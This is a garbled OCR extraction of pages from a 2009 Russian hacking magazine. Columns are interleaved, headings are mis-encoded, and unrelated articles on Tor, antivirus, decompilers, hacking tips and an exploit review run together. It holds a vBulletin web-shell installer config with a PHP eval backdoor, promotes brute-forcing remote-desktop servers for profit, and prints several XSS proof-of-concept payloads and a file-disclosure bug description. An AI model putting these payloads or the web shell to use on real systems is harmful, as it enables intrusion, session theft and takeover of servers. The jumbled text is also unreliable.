с LED-подсветкой и размером 1366x768 пикселей. Она ярче, на U80V обладает клавиатурой с раздельными клавишами, имеющи-
30% легче и значительно экономнее ЖК-экранов предыдущих ми четкий, но плавный и бесшумный ход. Клавиатура оборудована
поколений. Ниже мы разберемся и отметим все основные фишки подсветкой с тремя уровнями яркости, что не только классно выглядит
ноута. в темноте, но и реально помогает в работе. Регулировка яркости экрана
0% 100%
Âêëþ÷àåì Tor
íà âñþ êàòóøêó
Çàñòàâëÿåì àíîíèìíóþ ñåòü ðàáîòàòü íà íàøè õàêåðñêèå öåëè
ÅÑËÈ ÒÛ Ñ×ÈÒÀÅØÜ, ×ÒÎ TOR — ÝÒÎ ÈÑÊËÞ×ÈÒÅËÜÍÎ ÑÐÅÄÑÒÂÎ ÄËß ÎÁÅÑÏÅ×ÅÍÈß ÏÐÈ-
ÂÀÒÍÎÑÒÈ Â ÑÅÒÈ, ÒÎ ÒÛ ÍÅÏÐÀÂ ÄÂÀÆÄÛ. ÂÎ-ÏÅÐÂÛÕ, ÅÅ ÐÀÑÏÐÅÄÅËÅÍÍÓÞ ÑÅÒÜ ÌÎÆÍÎ
ÈÑÏÎËÜÇÎÂÀÒÜ Â ÑÀÌÛÕ ÐÀÇÍÛÕ ÖÅËßÕ. À, ÂÎ-ÂÒÎÐÛÕ, ÍÅ ÒÀÊ ÓÆ ÎÍÀ ÁÅÇÎÏÀÑÍÀ, ÊÀÊ
ÝÒÎ ÏÐÈÍßÒÎ ÐÅÊËÀÌÈÐÎÂÀÒÜ.
Äæåéí
Äåéâ
Áîá
TOR-КЛИЕНТ АЛИСЫ ПОЛУЧАЕТ ОТ СЕР-
ВЕРА ДИРЕКТОРИЙ (БАЗА ДАННЫХ НОД)
СПИСОК СЕРВЕРОВ СЕТИ TOR
2 ØÀÃ
Àëèñà
Äæåéí
Äåéâ Áîá
TOR-КЛИЕНТ АЛИСЫ ВЫБИРАЕТ СЛУЧАЙНЫЙ ПУТЬ
ДО ЦЕЛЕВОГО СЕРВЕРА, НА КАЖДОМ ШАГЕ ВЫБИ-
Tor, как замечательный инструмент для обеспечения ано-
РАЕТ СЛУЧАЙНЫЙ КЛЮЧ ШИФРОВАНИЯ
нимности и сохранности данных, хорош по многим причи-
нам. Сразу остаются не у дел любые сниферы, в том числе,
установленные и на интернет-маршрутизаторы, потому как
весь трафик передается через цепочку узлов, исключительно
3 ØÀÃ
в зашифрованном виде. Крайне затруднительно или, если
полностью поверить разработчикам, то даже невозможно
становится отследить источник отправки данных, благодаря Àëèñà
постоянно меняющимся цепочкам специальных узлов-
посредников, через которые передаются данные. Кто не
пробовал использовать Tor, чтобы банально сменить свой IP?
Минус на первый взгляд один — скорость работы. Каждый
из нодов, входящих в цепочку, вносит серьезную задержку,
как по времени отклика, так и банально по ширине канала.
В результате получаем анонимное соединение. Анонимное и Äæåéí
модемное :). Но диалапный коннект — это не самая главная
проблема активных пользователей Tor. Гораздо сильнее их
должно волновать, что любые данные можно перехватить и,
черт подери, сделать это просто! Äåéâ Áîá
ÎÒÊÓÄÀ ÁÅÐÓÒÑß... ÍÎÄÛ
Чтобы пустить трафик приложения через Tor, достаточно ДЛЯ СОЕДИНЕНИЯ С ДЖЕЙН ИСПОЛЬЗУЕТСЯ
указать в настройках прокси — адрес локального SOCKS- ИНАЯ ЦЕПОЧКА, ЧЕМ ПРИ СОЕДИНЕНИИ С
БОБОМ
dvd
Все описанные в
статье скрипты,
утилиты ты найдешь
на нашем диске.
HTTP://WWW
links
•Tor+Vidalia+
Proxomitron+
Freecap — wsnow.
net/my_soft/41-
narushaya-zaprety.
html.
•OperaTor — Opera+
Tor+Polipo —
archetwist.com/en/
opera/operator.
•Portable Tor —
портативный пакет
Tor, не требующий
ЗАПУСКАЕМ SSLSTRIP инсталляции на ком-
пьютер — portabletor.
sourceforge.net.
установить Vidalia, GUI-оболочку для управления Vidalia вателя, из-под которого будет осуществляться запуск Tor. •Torbutton — рас-
или же, вообще, готовую сборку программ. Но так как мы Для этого набирай в консоли команду adduser и дальше ширение Firefox,
будем работать в консоле, нас устроит и просто чистый Tor. отвечай на вопросы. В результате в системе появится добавляющее в него
Итак, скачиваем пакет, распаковываем и устанавливаем. Я новый пользователь (скажем, toruser): uid=111(toruser) кнопку включения
думаю, на этой стадии никаких проблем быть не должно. gid=10(wheel) groups=0(wheel),10(wheel). и выключения Tor.
Один из немногочисленных нюансов работы Tor заклю- Теперь, когда подготовка закончена, можно приступить Обеспечивает также
чается в том, чтобы на компьютере было правильно к конфигурированию самого Tor'а. Все настройки указы- улучшеную защиту
установлено время. Перед экспериментом синхронизи- ваются в файле конфигурации torrc, который необходимо приватности и изо-
руйся с публичным сервером времени, иначе получишь создать в папке .tor, находящейся в домашней директории ляцию состояния
порцию предупреждений о том, что часы у тебя сильно пользователя (т.е. /home/toruser). Ровно как и файла, браузера — addons.
идут вперед или, наоборот, серьезно отстают. Еще одно таких папок в системе может не быть — в этом случае mozilla.org/ru/firefox/
подготовительное действие — создание в системе пользо- необходимо их создать. Далее открываем в текстовом addon/2275.
•Vuze — клиент
файлообменной
ÄÅÐÆÀÒÜ EXIT NODE — ÇÀÄÀ×À ÄËß ÊÐÅÏÊÈÕ ÏÀÐÍÅÉ сети BitTorrent со
встроенной поддерж-
• Надо понимать, что работая в каче- вании того, что они были незаконно ных агентств разных стран. По его кой Tor — azureus.
стве Exit Node'ы, человек серьезно использованы для доступа к детской словам, он в качестве эксперимента sourceforge.net.
подставляет себя. Ведь именно его порнографии. создал 5 выходных серверов Tor и •Неплохой мануал по
IP светится во время взломов и перехватывал через них незашифро- настройке Tor: www.
т.д. В процессе написания статьи • Â 2007 ã. Национальная полиция ванный трафик. torproject.org/docs/
через мой сервер дважды пытались Швеции арестовала известного tor-doc-relay.html.ru.
провести атаку типа SQL-injection. эксперта по компьютерной безопас- • Â 2007 ã. немецкая полиция аресто- •Полный список под-
Так что, держи ухо востро: за такие ности Дена Эгерстада (Dan Egerstad) вала в Дюссельдорфе Александра держиваемых опций:
вещи можно запросто схлопотать от по обвинению в неправомерном Янссена, организовавшего у себя на www.torproject.org/
правоохранительных органов или доступе к компьютерной информа- компьютере сервер Tor, через кото- tor-manual.html.
от провайдера. Вот лишь некоторые ции. 22-летний сотрудник компании рый неизвестный отправил ложное •Настройка скры-
примеры: Deranged Security опубликовал сообщение о теракте. Несмотря на то, тых сервисов: www.
на своем рабочем сайте пароли к что вскоре г-н Янссен был отпущен, torproject.org/docs/
• Â 2006 ã. спецслужбы Германии осу- электронной почте посольств, него- он решил отказаться от дальнейшего tor-hidden-service.
ществили захват шести компьютеров, сударственных организаций, ком- использования своего компьютера в html.ru.
работавших нодами сети Tor на осно- мерческих фирм и правительствен- качестве точки выхода Tor.
$ tor -f /home/toruser/.tor/torrc
forward-socks5 /
127.0.0.1:5060 .
ÎÁËÀ×ÍÛÅ
ÂÛ×ÈÑËÅÍÈß
ÏÐÎÒÈÂ ÂÈÐÓÑÎÂ
ÍÀ ×ÒÎ ÑÏÎÑÎÁÅÍ
NORTON INTERNET
SECURITY?
ÑÎÂÐÅÌÅÍÍÛÅ ÀÍÒÈÂÈÐÓÑÛ ÂÑÅ ÌÅÍÜØÅ ÏÎËÀÃÀÞÒÑß ÍÀ ÒÎ, ×ÒÎ ÐÀÍÜØÅ ÄËß ÍÈÕ ÁÛËÎ
ÑÂßÒÀß ÑÂßÒÛÕ, — ÑÈÃÍÀÒÓÐÍÛÉ ÀÍÀËÈÇ. ÏÎÍÈÌÀß ÁÅÑÏÎÌÎÙÍÎÑÒÜ ÒÀÊÎÃÎ ÏÎÄÕÎÄÀ
ÏÐÎÒÈÂ ÍÎÂÎÉ ÌÀËÂÀÐÈ, ÀÂÅÐÛ ÂÑÅ ÂÍÈÌÀÒÅËÜÍÅÅ ÑÌÎÒÐßÒ, ÊÀÊ ÂÅÄÓÒ ÑÅÁß ÏÐÈËÎÆÅ-
ÍÈß, À Ñ ÍÅÄÀÂÍÅÃÎ ÂÐÅÌÅÍÈ — ÈÑÏÎËÜÇÓÞÒ ÄËß ÏÐÎÂÅÐÊÈ È ÎÁËÀ×ÍÛÅ
ÂÛ×ÈÑËÅÍÈß. ×ÒÎ ÝÒÎ ÄÀÅÒ È ÊÀÊ ÐÀÁÎÒÀÅÒ, ÌÛ ÏÎÑÌÎÒÐÈÌ ÍÀ ÏÐÈÌÅÐÅ NORTON
INTERNET SECURITY.
По правде говоря, когда я летел на пре- условиях. Все существующие подходы так насколько лучше или хуже по сравнению с
зентацию новых версий продуктов Norton, или иначе сводятся к сигнатурному, эвристи- другими решениями работают новые Norton
то относился к подобного рода релизам ческому и проактивному анализу. Но... ребята Antivirus/Norton Internet Security 2010 — это
весьма скептически. Ведь что там можно из Symantec'а сумели удивить: до этого рассудит наше тестирование, которое мы
представить? Антивирус, который все так же момента и я знать не знал о существовании проведем в ближайшее вроемя . Вместо этого
ищет вирусы, и файрвол, который все так же тех подходов, которые они внедрили в новых хочу показать тебе, насколько изворотливыми
файрволит — проверить эффективность этих версиях своих продуктов. могут быть разработчики, когда речь заходит
решений все равно можно только в боевых В этой статье я не буду говорить о том, об оперативном поиске малвари.
WARNING
warning
• Вся информация
представлена в об-
разовательных целях.
Помни, что реверсинг
приложений и, тем
более, их взлом попа-
дают под статьи УК.
DVD
dvd
Те утилиты, которые
можно свободно
распространять, ты
найдешь на нашем
DVD-диске.
стве своем понятный и доступный. Правда, выполняемый native-код. .NET сборки всегда PEiD
спешить компилировать его обратно в компилируются в компилируемый в процессе peid.has.it
бинарник не стоит, потому как в большинстве запуска IL-код. Что такое VB Decompiler? Любой коммерческий продукт должен быть
случаев в момент компиляции ты увидишь Это декомпилятор программ (EXE, DLL, хорошо защищен. Разработчики намеренно
столько ошибок, сколько еще не видывал. OCX), написанных на Visual Basic 5.0 и 6.0, использует всевозможные упаковщики и так
Одна из причин — отсутствие поддержки в и дизассемблер программ, написанных на называемые протекторы, которые применяют
Hex-Rays ресурсов. любом из языков .NET технологии. Так как разного рода антиотладочные средства, мак-
p-code представляет собой высокоуровневые симально препятствующие взлому программы.
W32DASM команды, то появляется реальная возмож- Обойти их можно, но для этого нужно четко
Отличный дизассемблер, удобный и понят- ность восстановить из этого кода исходник. представлять, что использовалось для защиты
ный. Набор функций, с точки зрения профес- Единственное упущение заключается в приложения и какой плагин для отладчика смо-
сионала, довольно ограничен, да и вообще, невозможности восстановить конкретные жет эту защиту обойти (если не брать в расчет
его пора отнести к инструментам из прошлого имена переменных и некоторых функций. ручную расправу с защитой). Изящно опреде-
века, но нет... W32DASM выдает хороший VB Decompiler восстанавливает исходный лить название и версию упаковщика способна
листинг, и для новичков является отличным код из псевдокода максимально близко к небольшая утилита PEiD (peid.has.it).
вариантом, чтобы понять и разобраться, что оригинальному: при некоторых доработках
к чему. К тому же, именно на этот дизассем- его реально довести до компилируемого. PE Explorer
блер авторы опираются в многочисленных От native-кода подобной щедрости ждать www.heaventools.com
мануалах для новичков, в том числе в нашем не приходится, но и в этом случае VB Программа для просмотра и редактирования
HOWTO для начинающих «Крякинг — это Decompiler поможет проанализировать про- PE-файлов — начиная с EXE, DLL и ActiveX
просто» (#80 z, статья в PDF на нашем грамму. Если приложение было создано в контролов и заканчивая скринсейверами SCR
диске). среде .NET, декомпилятор полностью вос- (Screensavers), апплетами панели управле-
становит структуру таблиц сборки, а также ния CPL, SYS и бинарниками для платформы
DeDe будет полезен для дизассемблирования и Windows Mobile. По сути, это не одна утилита,
Начинающие хакеры обычно испытывают анализа IL-кода. Примечательно, что проект а целый набор тулз для того, чтобы посмотреть
большие трудности при взломе программ, полностью написан одним из наших авторов изнутри, как работает программа или библиоте-
написанных на Delphi и Builder, посколь- — GPCh. ка. Включает в себя просмотрщик заголовков,
ку классические трюки, типа бряка на экспорт вызовов API-функций, редактор ресур-
GetWindowTextA, не работают. Для декомпи- сов и дизассемблер. z
ляции кода, написанного на Delphi/Borland
C++ Builder, т.е программ, которые использу-
ют библиотеку VCL от Borland, нужен специ-
альный подход, и он реализован в утилите НАБОР УТИЛИТ PE EXPLORER
DeDe.
По сути, это единственный работающий
декомпилятор для приложений на Delphi,
которые несмотря ни на что не умирают.
Автор проекта DaFixer, к сожалению, бросил
заниматься своим детищем, поэтому офи-
циальной страницы у проекта в настоящий
момент нет. Подробнее о том, как совладать
с программами на Delphi, читай в статье
«Взлом Борландии: изящная декомпиляция
Delphi» (PDF-версию материала ты найдешь
на диске).
VB Decompiler
www.vb-decompiler.org
Программы, разработанные на Visual
Basic’е, могут быть скомпилированы
либо в интерпретируемый p-code, либо в
Easy Hack
ХАКЕРСКИЕ
СЕКРЕТЫ
ПРОСТЫХ
ВЕЩЕЙ
¹1
ЗАДАЧА: АВТОМАТИЗИРОВАТЬ
ПРОЦЕСС ЗАГРУЗКИ ШЕЛЛА
НА СЕРВЕР ЧЕРЕЗ VBULLETIN
РЕШЕНИЕ:
Частенько на просторах Сети встречаются бажные форумы, через которые порой
очень хочется залить шелл, дабы обрести полноценный доступ к серверу :).
Популярный форумный двиг vBulletin aka булка — не исключение. Залить шелл
через админку сего продукта довольно просто. Для этого следует:
Однако, когда бажных форумов много, а времени — мало, разумнее заливать $cookies = ""; // êóêè
шеллы в автоматическом режиме, благо, специально для этих целей был напи- $admincp = "http://blablabla.com/vbl/admincp/"; // ïîëíûé
сан «vBulletin shell installer» от товарища DeusTirael. Все, что от тебя требуется http-ëèíê äî àäìèíêè
— подправить пару строк в конфиге скрипта, а именно: $pltitle = "plugin"; // plugin title
$shellcode = 'eval(@$_REQUEST[c]);'; // êîä ïõï-øåëëà
$login = "admin"; // ëîãèí àäìèíà ôîðóìà
$passw = "password"; // ïàðîëü àäìèíà ôîðóìà P.S. Скрипт успешно работает с vBulletin 3.5.*.
РЕШЕНИЕ:
Если ты занимаешься вардрайвингом не первый день, то наверняка знаком
с такой популярной утилой, как Aircrack. Существует удобная оболочка
для данной тулзы под названием AiroWizard, которая представляет собой
мощный инструмент для анализа защищенности ви-фи сетей. Кстати говоря,
AiroWizard реализована как раз под винду и обладает, как ты уже догадался,
гуишным интерфейсом :). Анализировать сети с помощью утилы несложно,
алгоритм твоих действий ниже:
РЕШЕНИЕ:
Использовать хттп-проксики всегда и везде не очень удобно, а порой —
невозможно, если приложение не поддерживает работу с прокси/соксами.
Выход один — перенаправлять трафик на сокс-сервер, то есть юзать
соксификатор. Одна из лучших софтин подобного рода — Freecap. Тулза
представляет собой классический соксификатор, с возможностью пост-
роения цепочек соксов, с поддержкой сокс4/5 и, к тому же, бесплатный :).
Настроить утилу для работы весьма просто:
¹4
РЕШЕНИЕ:
ЗАДАЧА: АВТОМАТИЗИРОВАТЬ ПРО-
ЦЕСС ПОИСКА БАГОВ В СУБД ORACLE
4. Óêàçàòü íåîáõîäèìûå äëÿ êîííåêòà äàííûå (ëîãèí, ïàññ, etc) è
ïîäêëþ÷èòüñÿ ê ÑÓÁÄ
5. Ïðè íåîáõîäèìîñòè âûïîëíåíèÿ PL/SQL-êîäà âáèâàåì êîä â ñî-
îòâåòñòâóþùåì îêîøêå è æìåì «Âûïîëíèòü»
На страницах журнала мы не раз писали про анализ MySQL и MSSQL-
серверов на предмет наличия уязвимостей, да и в Сети информации на Утила имеет гуишный интерфейс, так что проблем с ее эксплуатацией воз-
эту тему — хоть отбавляй. Но в случае с Oracle все не так просто, ведь никнуть у тебя не должно :).
найти надежный инструмент для поиска багов в этой СУБД до недавнего
времени было проблемно.
Почему до недавнего? Ответ на вопрос кроется в утиле «ORACLE
SECURITY TOOLS», о предназначении которой нетрудно
догадаться по названию. Тулза позволяет имитировать Ищем баги в Oracle
проникновение в СУБД, используя при этом ряд извес-
тных уязвимостей и сплойтов. Из особенностей можно
выделить:
$sock=IO::Socket::INET->ne
w(Listen=>10,LocalPort=>1
10,Proto=>'tcp',Reuse=>1)
|| "Cant open port: $!\n";
# Ñîçäàåì ñîêåò íà 110 ïîðòó
ëîêàëüíîé ìàøèíû
while($client=$sock-
>accept()) {
while(1) { # Ñëóøàåì íîâûõ
êëèåíòîâ è âõîäèì â áåñêî-
íå÷íûé öèêë ïðè êàæäîì íîâîì
ñîåäèíåíèè
$client->send("+OK Fake POP
Service ready\n"); # Âûäàåì
¹6
ЗАДАЧА: СБРУТИТЬ ВИН-ДЕДИК 5. Íàæàòü áàòòîí «start»
Брутим вин-дедики :)
РЕШЕНИЕ:
Брут дедиков — не только средство добычи собственных серверов, но и
маленький стабильный доход :). Если ты догадался, о чем идет речь, рад
представить очередной релиз R&D P Brute v2.0, а точнее — его паблик-
версию, ибо приватная стоит немножко денег. Тулза поможет сбрутить
пару Windows-дедиков по протоколу RDP. Если коротко, то:
ЗАДАЧА: ЭМУЛИРОВАТЬ РЕЗУЛЬТАТ волит при желании его модифицировать и собрать нужный
ÎÁÇÎÐ ÝÊÑÏËÎÈÒÎÂ
ÍÀ×ÈÍÀÞÙÈÅ ÁÀÃÎÊÎÏÀÒÅËÈ ×ÀÑÒÎ ÍÅÄÎÎÖÅÍÈÂÀÞÒ ÒÀÊÈÅ ÓßÇÂÈÌÎÑÒÈ, ÊÀÊ: XSS, CSRF, ÏÎÄÌÅÍÀ ÊÀÊÈÕ-ËÈÁÎ ÄÀÍÍÛÕ
(×ÈÒÀÉ — ÔÈØÈÍÃ), ÐÀÑÊÐÛÒÈÅ ÑÎÄÅÐÆÈÌÎÃÎ ËÎÊÀËÜÍÛÕ ÔÀÉËÎÂ. ßÊÎÁÛ ÝÒÈ ÁÀÃÈ È Â ÏÎÄÌÅÒÊÓ ÍÅ ÃÎÄßÒÑß ÌÎÙÍÛÌ
È ÁÛÑÒÐÎÄÅÉÑÒÂÓÞÙÈÌ SQL-ÈÍÚÅÊÖÈßÌ, ÂÛÏÎËÍÅÍÈÞ ÊÎÄÀ, ÏÅÐÅÏÎËÍÅÍÈÞ ÊÓ×È, ÇÀËÈÂÊÅ ØÅËËÀ, LOCAL/REMOTE FILE
INCLUSION È Ò.Ä., Ñ ÏÎÌÎÙÜÞ ÊÎÒÎÐÛÕ ÌÎÆÍÎ Â ÊÎÐÎÒÊÈÉ ÑÐÎÊ ÂÇßÒÜ ÊÎÍÒÐÎËÜ ÍÀÄ ÑÀÉÒÎÌ ÈËÈ ÏÐÎÃÐÀÌÌÎÉ. ÑÅÃÎÄÍßØ-
ÍÈÉ ÎÁÇÎÐ ÏÐÈÇÂÀÍ ÏÎÊÎËÅÁÀÒÜ ÌÍÅÍÈÅ ÑÎÌÍÅÂÀÞÙÈÕÑß, ÈÁÎ ÓÏÎÌßÍÓÒÛÅ ÒÈÏÛ ÓßÇÂÈÌÎÑÒÅÉ Ñ ÓÑÏÅÕÎÌ ÏÐÈÌÅÍßÞÒÑß
ÕÀÊÅÐÀÌÈ ÂÎ ÂÑÅÌ ÌÈÐÅ.
ПРОЕКТЫ, РАБОТАЮ-
ЩИЕ НА CMS BITRIX
XSS В XOOPS
01
МЕЖСАЙТОВЫЙ СКРИПТИНГ ПРИ ОБ- 1. Google Chrome (18 примеров XSS) — http://securethoughts.com/
РАБОТКЕ RSS И ATOM ЛЕНТ В OPERA security/rssatomxss/googlechromexss.atom;
И GOOGLE CHROME 2. Opera (38 примеров XSS) — http://securethoughts.com/security/
rssatomxss/opera10xss.atom.
BRIEF В уже далеком 2006 году некие James Holderness и James M. Далее следует еще один замечательный сценарий:
Snell провели исследование, направленное на выявление различных 1. У атакующего и у жертвы есть аккаунты на доверенном веб-сайте
XSS-уязвимостей в некоторых онлайн фид-аггрегаторах (например, Feed (или этот доверенный сайт позволяет атакующему инжектить javascript
Demon). в любую из лент новостей, читай — у тебя есть шелл или ftp-доступ на
И вот, 15 сентября сего года еще один багокопатель Inferno решил данном ресурсе);
продолжить исследование и раскопал аналогичные уязвимости в 2. Доверенный вебсайт использует систему блэклистинга для известных
последних версиях популярных браузеров Google Chrome и Opera исполняемых и просто опасных типов файлов (html, jsp, php, htaccess и т.д.);
(full disclosure от Inferno находится по адресу: http://securethoughts. 3. Атакующий заливает файл с расширением .rss или .atom (или вообще
com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader- с любым расширением, исполняемым как .rss/.atom, например .atom.
with-script-execution-and-more). tx, так как большинство веб-серверов по дефолту определят файл, как
«application/{atom/rss}+xml»);
EXPLOIT Сам автор приводит несколько сценариев эксплуатации багов, 4. Атакующий дает жертве линк на загруженный файл;
и первый из них таков: 5. Куки и другая чувствительная информация жертвы уплывают к атаку-
1. С помощью социальной инженерии атакующий подсовывает жертве ющему :).
ссылку на rss/atom ленту, находящуюся на своем evil-сайте (жертва Эксплойты для этого варианта сценария находятся тут:
должна использовать Google Chrome или Opera в качестве основного 1. Opera — http://securethoughts.com/security/rssatomxss/opera10xss.
браузера); atom.tx;
2. Злонамеренный код исполняется в браузере жертвы. 2. Chrome — http://securethoughts.com/security/rssatomxss/
Profit в случае этого сценария следующий: фишинг (можно спро- googlechromexss.atom.tx.
сить у юзера его данные для доступа к Google Reader, My.Opera. В качестве бонуса исследователь напоминает нам тот факт, что
com и другим онлайн-сервисам), поиск в истории браузера на всеми любимый Internet Explorer (в частности, 8 версия) автомати-
предмет посещенных страниц (подробнее о данном виде атак чески поддерживает файлы с неизвестным расширением и может
читай по ссылке http://jeremiahgrossman.blogspot.com/2006/08/i- исполнить их контент как обычный html+javascript (многое зависит
know-where-youve-been.html ), сканирование внутренней сетки от mime type файла).
юзера с помощью javascript (описание этой атаки — http:// Так что все вполне может подойти и для IE. Для примера зайди с по-
jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning- мощью Internet Explorer по адресу http://securethoughts.com/security/
without.html ). Собственно, эксплойты и примеры этого сценария rssatomxss/anyfile.tx и насладись простейшим javascript-алертом из
находятся тут: данного файла:
XOOPS ADVISORY
<html> вят баг: «I will be releasing exploit code as soon as updates fixing the issue
<script>alert('XSS')</script> are provided».
</html> Несуществующий эксплойт с успехом может заменить видео, записан-
ное Jeremy Brown'ом для подробной и наглядной ручной эксплуатации
Также существует и некий третий сценарий для полного захвата всех но- уязвимости. Там он показывает, как заменить один скачанный юзером
востных лент Оперы, но до выхода официального патча от разработчиков с доверенного сайта исходник совершенно другим, измененным под
Inferno не хочет сообщать нам никаких подробностей :(. наши хакерские цели. Посмотреть и скачать видео можно тут:
http://securitytube.net/Zero-Day-Demos-(Firefox-Vulnerability-
TARGETS Opera 10 и ниже. Discovered)-video.aspx (советую регулярно просматривать этот сайт —
Google Chrome < v3.0.195.21. своего рода хакерский YouTube).
SOLUTION Для решения проблемы в случае использования Google TARGETS Mozilla Firefox 2.x и 3.x.
Chrome просто обновись до последней версии браузера (v3.0.195.21
и выше), а вот в случае использования Opera не все так просто — раз- SOLUTION Пока решения для исправления уязвимости не существует.
работчики считают баг фичей, так что отключай выполнение js либо Тебя спасут лишь внимательность и настороженность.
03
тщательней проверяй, по каким ссылкам ходишь.
МЕЖСАЙТОВЫЙ
02
ПОДМЕНА СКРИПТИНГ
ЗАГРУЖАЕМЫХ В XOOPS
ФАЙЛОВ В MOZILLA FIREFOX
BRIEF Так как основная тема сегодняшнего обзора — XSS, нельзя не
BRIEF О таком известном браузере, как Огнелис багокопатели тоже не упомянуть еще об одной полезной для нашего хакерского дела уязви-
забыли. Недавно Jeremy Brown (http://jbrownsec.blogspot.com) обна- мости. На сей раз банальный cross site scripting был найден в таком
ружил, что Firefox позволяет одним пользователям системы подменять небезызвестном php-движке, как XOOPS. Бага присутствует в файле ./
загружаемые файлы других пользователей. Багофичу наиболее просто xoops233/modules/pm/viewpmsg.php. Давай вместе проследим за пере-
эксплуатировать в Linux-системах. Суть уязвимости заключается в том, менной $_REQUEST['op']:
что, когда пользователь начинает загружать файл, появляется диалоговое
окно Downloads, для которого браузер использует фиксированный путь с <?php
директорией /tmp. Злоумышленник может разместить файл в этой самой ...
директории /tmp перед началом загрузки файла и подменить содержимое $_REQUEST['op'] = empty($_REQUEST['op']) ? "in" : $_
загружаемого файла. REQUEST['op'];
...
EXPLOIT Для обнаруженной уязвимости автор пока еще не выпустил $pmform->addElement(new XoopsFormHidden('op', $_
эксплойт в надежде на то, что кодеры Мозиллы как можно скорее испра- REQUEST['op']));
XSS В OPERA
ИЗМЕНЕННЫЙ
ЗАГРУЖЕННЫЙ ФАЙЛ
В FIREFOX
ТИПИЧНЫЙ САЙТ
НА WAP-MOTOR
$pmform->assign($xoopsTpl); (например, текст, пароль, выбор и т.д.). Так как большинство баз данных
?> либо не принимают, либо очищают неправильные мультибайт-строки,
Как видишь, $_REQUEST['op'] без какой-либо дополнительной фильтра- уязвимость может встретиться не так часто, но, тем не менее, на Твиттере
ции попадает в hidden-форму темплейта, выводимого на экран движком, она присутствовала и успешно эксплуатировалась злоумышленниками.
массив $_REQUEST также нигде не проверяется, и мы спокойно сможем
использовать недоработку для кражи админской сессии и последующе- EXPLOIT Эксплойт для описываемой XSS может быть представлен во
го зашелливания сайта-жертвы через админку. множестве вариантов, например:
EXPLOIT Авторы уязвимости (группа Sense of Security) предлагают <a href="http://site.com" title="XSS [ìóëüòèáàéò-ñèì-
следующий PoC-эксплойт: âîë, êîòîðûé ïåðåçàïèøåò ñëåäóþùèå 2 ñèìâîëà]">ABCD"
onerror='alert(131)'>131</a>
http://site.com/xoops-2.3.3/htdocs/modules/pm/
viewpmsg.php?op='"><script>alert('vulnerable')</ Если у тебя есть возможность изменять содержимое атрибута title и ты
script><link id=' запишешь в квадратные скобки символ за номером 0131 (ALT + 0131), то
следующие за ним кавычки в мультибайтовой кодировке просто съедят-
Подробности ты сможешь узнать на их сайте по адресу: http://www. ся (превратятся в некий четырехбайтовый символ) и закрывающий тег
senseofsecurity.com.au/advisories/SOS-09-005.pdf. «>» будет уже внутри других кавычек:
SOLUTIONS Для решения проблемы тебе необходимо установить Дело в том, что, к примеру, в кодировке GB2313 символ 0131 (в деся-
последнюю версию движка с сайта производителя www.xoops.org (на тичной системе) на самом деле не является отдельным символом — он
данный момент — 2.3.3b). лишь начало другого символа, то есть в результате инжекта имеем
03
символ 0131 + кавычки = «отдельный символ».
МЕЖСАЙТОВЫЙ Подробнее о данном векторе межсайтового скриптинга можно почи-
СКРИПТИНГ тать на буржуйском форуме http://www.criticalsecurity.net/index.php/
В RUBY ON RAILS topic/31640-xss-via-multibyte-characters.
BRIEF: Проблема XSS не обошла стороной и такой известный продукт, TARGETS 2.0.0 и все подверсии.
как Ruby on Rails и, в частности, построенный на нем Twitter.com.
Уязвимость существует из-за недостаточной обработки входных SOLUTION Как всегда, не забываем обновляться. Актуальные версии
данных в мультибайтовых кодировках BIG5, EUC-JP, EUC-KR, GB2312 Ruby on Rails — 2.3.4, 2.2.3, скачать их можно на сайте производителя —
и SHIFT_JIS (кстати, с этой же проблемой было связано и множество rubyonrails.org.
04
SQL-инъекций в популярных web-движках). Удаленный пользователь
может с помощью специально сформированного запроса выполнить МЕЖСАЙТОВЫЙ
произвольный код javascript в браузере жертвы в контексте безопас- СКРИПТИНГ
ности уязвимого сайта. Весь сыр-бор происходит из-за недостаточной В BITRIX CMS
фильтрации символов национальных кодировок в так называемых
FormHelper-элементах движка. Они предоставляют набор методов для BRIEF: В отечественной разработке от 1C — Bitrix CMS (движок использу-
создания форм на основе моделей для каждого вида юзерского ввода ется, например, таким популярным секурити-порталом, как securitylab.
ru, сетью магазинов бытовой электроники «Эльдорадо» и несколькими смогут обновиться через встроенный функционал обновления. Для уст-
тысячами других известных фирм) не так давно были обнаружены cross ранения первой уязвимости с реферером можно также включить модуль
site scripting уязвимости. О них, в рамках фестиваля Chaos Constructions проактивной защиты.
05
2009, сообщил Владимир Воронцов (http://onsec.ru).
Первая бага существует из-за отсутствия фильтрации символа одинар- РАСКРЫТИЕ
ной кавычки в http-заголовке «Referer», который отображается в теге ДАННЫХ
«<a>» на страницах статистики в административной части модуля «Веб- В WAP-MOTOR
аналитика». Зайдя на сайт жертвы со специально сформированным
реферером, злоумышленник внесет свой злонамеренный код прямо в BRIEF: Почему-то тема WAP-сайтов встречается в z крайне редко.
админку сайта, что чревато хищением админских кукисов. Настало время исправить это недоразумение. Итак, недавно найден-
Вторая бага возникает из-за неполной фильтрации входных ная уязвимость просмотра содержимого произвольных локальных
данных в модуле WAF («Проактивная защита»). Удаленный поль- файлов в CMS Wap-motor, которую используют множество Wap-сай-
зователь может обойти установленные фильтры и произвести тов на территории СНГ и ближнего зарубежья, позволяет прочитать
XSS-нападение. Для успешной эксплуатации требуется заранее важные конфиги и файлы текстовой базы данных движка. Прове-
внести свой код в базу данных движка (комментарии, посты и дем небольшой реверсинг скриптов жертвы вместе с автором баги
т.д.). Inj3ct0r'ом (Inj3ct0r.com).
1. Открываем файл ./gallery/gallery.php:
>> EXPLOIT Для первой уязвимости сам автор приводит следующий
формат пересылаемого заголовка Referer: <?php
require_once"../template/start.php";
Referer: " style="onsec:e\xp\re\s\s\i&# require_once"../template/regglobals.php";
92o\n(alert(111)) require_once"../template/config.php";
require_once"../template/functions.php";
Также в этом примере используется и обход проактивного фильтра WAF-
движка «1С-Битрикс». $image=check($image);
Для второй баги security-эксперт за 40 фестивальных минут смог найти $ext = strtolower(substr($image, strrpos($image, '.')
такие векторы обхода фильтра защиты: + 1));
XSS В TWITTER
Теперь рассмотрим подробнее, что же происходит в приведенных скрип- SOLUTION Ищем последнюю версию движка на сайте производителя —
тах при передаче параметра $_GET['image']: http://visavi.net/wap-motor. z
050
50 XÀÊÅÐ 10 /130/ 09
ВЗЛОМ
МАГ ICQ 884888, HTTP://WAP-CHAT.RU
BACKSTREET'S
BACK!
ТОТАЛЬНОЕ УНИЧТОЖЕНИЕ ГРУППЫ BACKSTREET BOYS
СОЦИАЛЬНЫЕ СЕТИ
